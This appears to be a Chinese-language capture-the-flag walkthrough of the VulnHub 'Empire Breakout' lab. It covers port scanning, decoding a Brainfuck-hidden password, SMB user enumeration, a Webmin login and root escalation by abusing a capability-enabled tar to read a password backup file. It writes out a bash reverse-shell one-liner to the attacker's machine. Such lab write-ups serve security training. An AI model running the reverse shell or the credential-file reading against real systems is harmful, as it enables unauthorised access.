[ vulnhub靶机通关篇 ] Empire Breakout 通关详解
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
文章目录
- 🍬 博主介绍
- 一、环境搭建:
- 1、下载靶场环境
- 2、启动靶场环境
- 二、渗透靶场
- 1、目标:
- 2、信息收集:查看端口和服务
- 3、访问80端口发现提示信息得到一个密码
- 1.访问一下web
- 2.查看源码发现一段提示
- 3.翻译解密提示信息
- 4.brainfuck 语言简介
- 4、访问10000和20000端口发现两个登录页
- 1.访问10000端口
- 2.访问20000端口
- 5、收集有关靶机smb的信息获取到用户名cyber
- 1.思路
- 2.收集smb信息
- 3.Enum4linux介绍
- 6、利用获取的用户名和密码成功登录20000端口
- 7、获取普通用户权限获取第一个flag
- 8、获取root用户权限获取第一个flag
- 1.查看当前权限
- 2.发现tar可进行任意文件读取
- 3.linux setcap命令的信息
- 4.发现备份文件.old_pass.bak
- 5.利用tar读取密码备份文件
- 6.成功读取root密码
- 7.发现网页命令行无法执行su命令
- 8.反弹靶机shell到kali方式解决上述问题
- 9.使用root密码登录root用户,提权成功
- 三、相关资源
一、环境搭建:
1、下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/empire-breakout,751/
下载下来的文件如下

2、启动靶场环境
下载下来是虚拟机压缩文件,直接用Vmvare导入就行。

设置虚拟机名称

导入中

导入完成之后打开后把网络模式设置为NAT模式。
虚拟机开启之后界面如下,我们可以看到虚拟机ip:192.168.233.175

二、渗透靶场
1、目标:
目标就是我们搭建的靶场,靶场IP为:
192.168.233.175
2、信息收集:查看端口和服务
Nmap扫描靶机查看开启的端口和服务
nmap -sS -p 0-65535 -Pn -O 192.168.233.175

发现开放了80端口,存在WEB,
开放了139,445端口,存在SMB共享服务
开启了10000、20000端口,存在Webmin MiniServ服务(Webmin 是功能强大的基于 Web 的 Unix/linux 系统管理工具。管理员通过浏览器访问 Webmin 的各种管理功能并完成相应的管理操作。)
3、访问80端口发现提示信息得到一个密码
1.访问一下web
http://192.168.233.175/

2.查看源码发现一段提示
<!--don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.-->

3.翻译解密提示信息
提示的大概意思就是:
翻译过来时:别担心没有人会来这里,和你分享我的权限是安全的。它是加密的:)
也就是说这段奇奇怪怪的代码是加密文件,我们需要将他进行解密,这应该是密码经过某种加密或者编码形成的,经过一段时间的查找,发现是ook加密,是brainfuck加密方法的一种
我们进行解密:解密工具:https://ctf.bugku.com/tool/brainfuck
解密过后是:
.2uqPEfj3D<P’a-3

4.brainfuck 语言简介
brainfuck 语言用 > < + - . , [ ] 八种符号来替换C语言的各种语法和命令,具体规则如下:
Brainfuck 编程语言由八个命令组成,每个命令都表示为一个字符。
> 增加指针。
< 减少指针。
+ 增加指针处的字节。
- 减少指针处的字节。
. 输出指针处的字节。
, 输入一个字节并将其存储在指针处的字节中。
[ 跳过匹配项] 如果指针处的字节为零。
] 向后跳转到匹配的 [ 除非指针处的字节为零。
Brainfuck 命令的语义也可以用 C 语言简洁地表达,如下(假设 p 之前已定义为 char*):
> 变为 ++p;
< 变成 --p;
+ 变为 ++*p;
- 变成 --*p;
. 变成 putchar(*p);
, 变成 *p = getchar();
[ 变成 while (*p) {
] 变成 }
4、访问10000和20000端口发现两个登录页
有一种强烈的预感,这是一段密码,先记录下来,接着我们继续查看另外两个网站
10000端口和20000端口是不同的登录系统,一个是登录网站的,一个是登录用户的
1.访问10000端口
https://192.168.233.175:10000/session_login.cgi

2.访问20000端口
https://192.168.233.175:20000/

5、收集有关靶机smb的信息获取到用户名cyber
1.思路
鉴于我们已经有了用户的密码,所以我们要着手寻找用户名了
由于靶机开放了smb服务,所以我们可以收集有关靶机smb的信息
2.收集smb信息
使用命令enum4linux可以收集大量的信息
enum4linux 192.168.233.175

最终发现了一个用户名cyber

3.Enum4linux介绍
Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具。 它试图提供与以前从www.bindview.com可用的enum.exe类似的功能。它是用Perl编写的,基本上是一个包装Samba工具smbclient,rpclient,net和nmblookup。
用法:
./enum4linux.pl [选项] ip地址枚举选项:-U 获取用户列表-M 获取机器列表*-S 获取共享列表-P 获取密码策略信息-G 获取组和成员列表-d 详述适用于-U和-S-u user 用户指定要使用的用户名(默认"")-p pass 指定要使用的密码(默认为"")以下选项是enum.exe未实现的: -L, -N, -D, -f其他选项:-a 做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项-h 显示此帮助消息并退出-r 通过RID循环枚举用户-R range RID范围要枚举(默认值:500-550,1000-1050,隐含-r)-K n 继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用-l 通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)-s 文件暴力猜测共享名称-k user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)用于获取sid与“lookupsid known_username”使用逗号尝试几个用户:“-k admin,user1,user2”-o 获取操作系统信息-i 获取打印机信息-w wrkg 手动指定工作组(通常自动找到)-n 做一个nmblookup(类似于nbtstat)
-v 详细输出,显示正在运行的完整命令(net,rpcclient等)
6、利用获取的用户名和密码成功登录20000端口
由于20000端口是登录用户的,我们拿用户名cyber和之前获得的密码去登录一下20000端口,登陆成功

7、获取普通用户权限获取第一个flag
登录进去摸索了一会儿,发现左下角有一个终端的图标,点进去之后就可以运行命令了

进入命令行,执行ls发现有一个user.txt文件,使用cat查看,得到第一个flag
ls
cat user.txt

8、获取root用户权限获取第一个flag
1.查看当前权限
执行whoami发现是用户权限
whoami

2.发现tar可进行任意文件读取
通过ls -l查看文件权限,发现tar具有执行权限,猜想他是一个可执行文件
ls -l

通过getcap命令查看文件拥有的权限是什么
getcap tar
发现cap_dac_read _search=ep,说明他是可以读取任意文件的

3.linux setcap命令的信息
https://blog.csdn.net/megan_free/article/details/100357702\
4.发现备份文件.old_pass.bak
既然给了我们一个可进行任意读取的可执行文件,那就肯定是要我们找一个文件来读取,获得root的密码。
经过一段时间的寻找之后,发现/var/backups下有个备份文件.old_pass.bak

5.利用tar读取密码备份文件
我们用tar把它打包之后再解压出来,就没有权限问题了
./tar -cvf pass.tar /var/backups/.old_pass.bak
tar -xvf pass.tar
这里打包的时候一定要使用./tar,不然会提示没权限,没有加./代表的是你用的系统安装的tar不是这个目录下的tar,就不一定会有读取任意文件的权限

我们的用户目录下多了两个文件

6.成功读取root密码
cat var/backups/.old_pass.bak
得到root密码:
Ts&4&YurgtRX(=~h

7.发现网页命令行无法执行su命令
切换到root用户
su root
发现这里执行不了su

8.反弹靶机shell到kali方式解决上述问题
反弹shell后
那那那,我干脆反弹一个shell到我的kali吧
Kali监听
nc -lvvp 55555

靶机连接
bash -i >& /dev/tcp/192.168.233.130/55555 0>&1

攻击机获取到靶机的shell

9.使用root密码登录root用户,提权成功
切换到root用户
su root
执行whoami 发现是root权限,提权成功

得到第二个flag
cd /root
cat rOOt.txt

三、相关资源
1、靶场下载地址
2、ook在线解密工具
3、enum4linux枚举工具
4、Brainfuck介绍
5、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
6、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
相关文章:
[ vulnhub靶机通关篇 ] Empire Breakout 通关详解
🍬 博主介绍 👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 养成习…...
IP定位离线库有什么作用?
IP离线是什么意思?我们以丢失手机为例来寻找它,现在手机都有IP定位功能,只要手机开通了IP定位,就能找到手机。iPhone定位显示离线一般是iPhone手机关机了或者iPhone手机中“查找我的iPhone”功能关闭了。如果手机在手中的话可以打…...
[C++]vector模拟实现
目录 前言: 1. vector结构 2. 默认成员函数 2.1 构造函数 无参构造: 有参构造: 有参构造重载: 2.2 赋值运算符重载、拷贝构造(难点) 2.3 析构函数: 3. 扩容 3.1 reserve 3.2 resize…...
DevOps实战50讲-(2)Jenkins配置
1. Docker镜像方式安装拉取Jenkins镜像docker pull jenkins/jenkins编写docker-compose.ymlversion: "3.1" services:jenkins:image: jenkins/jenkinscontainer_name: jenkinsports:- 8080:8080- 50000:50000volumes:- ./data/:/var/jenkins_home/首次启动会因为数据…...
LC-1599. 经营摩天轮的最大利润(贪心)
1599. 经营摩天轮的最大利润 难度中等39 你正在经营一座摩天轮,该摩天轮共有 4 个座舱 ,每个座舱 最多可以容纳 4 位游客 。你可以 逆时针 轮转座舱,但每次轮转都需要支付一定的运行成本 runningCost 。摩天轮每次轮转都恰好转动 1 / 4 周。…...
Umi使用百度地图服务
需求描述 需要在前端页面中使用地图定位功能,所以在前端umi项目中使用百度地图服务,由于umi项目默认没有入口的html文件,所以无法通过常规的在head中加入外链js的方式使用 百度ak zyqeLCzvQPCCNImRu9yRGOqWlEUicxxGreact使用百度api 链接:…...
js中getBoundingClientRect()方法
getBoundingClientRect()返回值是一个 DOMRect 对象,是包含整个元素的最小矩形(包括 padding 和 border-width)。该对象使用 left、top、right、bottom、x、y、width 和 height 这几个以像素为单位的只读属性描述整个矩形的位置和大小。除了 …...
Unity记录2.2-动作-动画、相机、Debug与总结
文章首发及后续更新:https://mwhls.top/4453.html,无图/无目录/格式错误/更多相关请至首发页查看。 新的更新内容请到mwhls.top查看。 欢迎提出任何疑问及批评,非常感谢! 汇总:Unity 记录 摘要:重写了动画触…...
分享十个前端Web3D可视化框架附地址
Three.js:Three.js是一个流行的3D库,提供了大量的3D功能,包括基本几何形状、材质、灯光、动画、特效等。它是一个功能强大、易于使用的框架,广泛用于Web3D可视化应用程序的开发。Three.js:https://threejs.org/Babylon…...
基于WSL2和Clion搭建Win下C开发环境
系列文章目录 一、基于WSL2和Clion搭建Win下C开发环境 二、make、makeFile、CMake、CMakeLists的使用 三、全面、详细、通俗易懂的C语言语法和标准库 文章目录系列文章目录前言WSL2安装WSL常用命令VSCode连接WSLroot密码以systemd启动配置sshClion结语前言 Win下C语言开发环境…...
考研第一天,汤家凤基础班,连续与极限复习笔记
函数连续极限性质保号性证明极值点:夹逼准则二项式展开根号下,大于一,小于一的讨论直接放缩求和分子分母齐次,且分母大一次,用积分单调有界存在极限几个重要的切线放缩证明有界,然后放缩求单调证明有界&…...
聊一聊代码重构——关于变量的代码实践
提炼变量 其目标是将一个复杂表达式或语句分解成更小的部分,并将其存储在变量中。提高代码可读性和复用性 复杂的表达式 有些时候为了方便我们会把业务处理的逻辑写在一起,如果参与处理的内容较多时我们就会创造出一个非常长且难以理解的表达式。当其他…...
Spring之基于注解方式实例化BeanDefinition(1)
最近开始读Spring源码,读着读着发现里面还是有很多很好玩的东西在里面的,里面涉及到了大量的设计模式以及各种PostProcessor注入的过程,很好玩,也很复杂,本文就是记录一下我学习过程中的主干流程。 在开始我们源码解读…...
【STM32】入门(十四):FreeRTOS-任务
1、简述 FreeRTOS应用程序由一组独立的任务构成。 在任何时间点,应用程序中只能执行一个任务,FreeRTOS调度器负责决定所要执行的任务。 每个任务在自己的上下文中执行,不依赖于系统内的其他任务或 FreeRTOS的调度器本身。 FreeRTOS调度器负责…...
apscheduler 的基本介绍和使用
APScheduler有四大组件: 1、触发器 triggers : 触发器包含调度逻辑。每个作业都有自己的触发器,用于确定下一个任务何时运行。除了初始配置之外,触发器是完全无状态的。 有三种内建的trigger: (1)date: 特定…...
Oracle中merge Into的用法
Oracle中merge Into的用法 使用场景 在操作数据库时,数据存在的情况下,进行update操作;不存在的情况下,进行insert操作;在Oracle数据库中,能够使用merge into来实现。 基本语法 merge into table_name …...
JDK19下载、安装与测试的完整图文教程
一、下载JDK 1、官网获取:https://www.oracle.com/ 1.1 点击“Products”; 1.2 选择“Java”; 1.3 选择“Download Java”; 1.4 选择“Java downloads”,这里以最新版(JDK19)为例ÿ…...
Vector - CAPL - 获取相对时间函数
在自动化开发中,无论是CAN通信测试,还是网络管理测试,亦或是休眠唤醒等等存在时间相关的,都可能会使用相关的时间函数;今天主要介绍的就是获取当前时间,我们知道vector工具的最大优势就是稳定和精确度高&am…...
C++编程语言STL之unordered_map介绍
本文主要介绍 C 编程语言的 STL(Standard Template Library) 中 unordered_map 的相关知识,同时通过示例代码介绍 unordered_map 的常见用法。1 概述C标准库提供了四个无序关联容器(unordered associated container)&a…...
【独家】华为OD机试 - 最快检测效率-核酸(C 语言解题)
最近更新的博客 华为od 2023 | 什么是华为od,od 薪资待遇,od机试题清单华为OD机试真题大全,用 Python 解华为机试题 | 机试宝典【华为OD机试】全流程解析+经验分享,题型分享,防作弊指南)华为od机试,独家整理 已参加机试人员的实战技巧文章目录 最近更新的博客使用说明本期…...
变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析
一、变量声明设计:let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性,这种设计体现了语言的核心哲学。以下是深度解析: 1.1 设计理念剖析 安全优先原则:默认不可变强制开发者明确声明意图 let x 5; …...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...
高等数学(下)题型笔记(八)空间解析几何与向量代数
目录 0 前言 1 向量的点乘 1.1 基本公式 1.2 例题 2 向量的叉乘 2.1 基础知识 2.2 例题 3 空间平面方程 3.1 基础知识 3.2 例题 4 空间直线方程 4.1 基础知识 4.2 例题 5 旋转曲面及其方程 5.1 基础知识 5.2 例题 6 空间曲面的法线与切平面 6.1 基础知识 6.2…...
Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案
随着新能源汽车的快速普及,充电桩作为核心配套设施,其安全性与可靠性备受关注。然而,在高温、高负荷运行环境下,充电桩的散热问题与消防安全隐患日益凸显,成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...
k8s业务程序联调工具-KtConnect
概述 原理 工具作用是建立了一个从本地到集群的单向VPN,根据VPN原理,打通两个内网必然需要借助一个公共中继节点,ktconnect工具巧妙的利用k8s原生的portforward能力,简化了建立连接的过程,apiserver间接起到了中继节…...
Springboot社区养老保险系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,社区养老保险系统小程序被用户普遍使用,为方…...
USB Over IP专用硬件的5个特点
USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中,从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备(如专用硬件设备),从而消除了直接物理连接的需要。USB over IP的…...
sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
push [特殊字符] present
push 🆚 present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中,push 和 present 是两种不同的视图控制器切换方式,它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…...
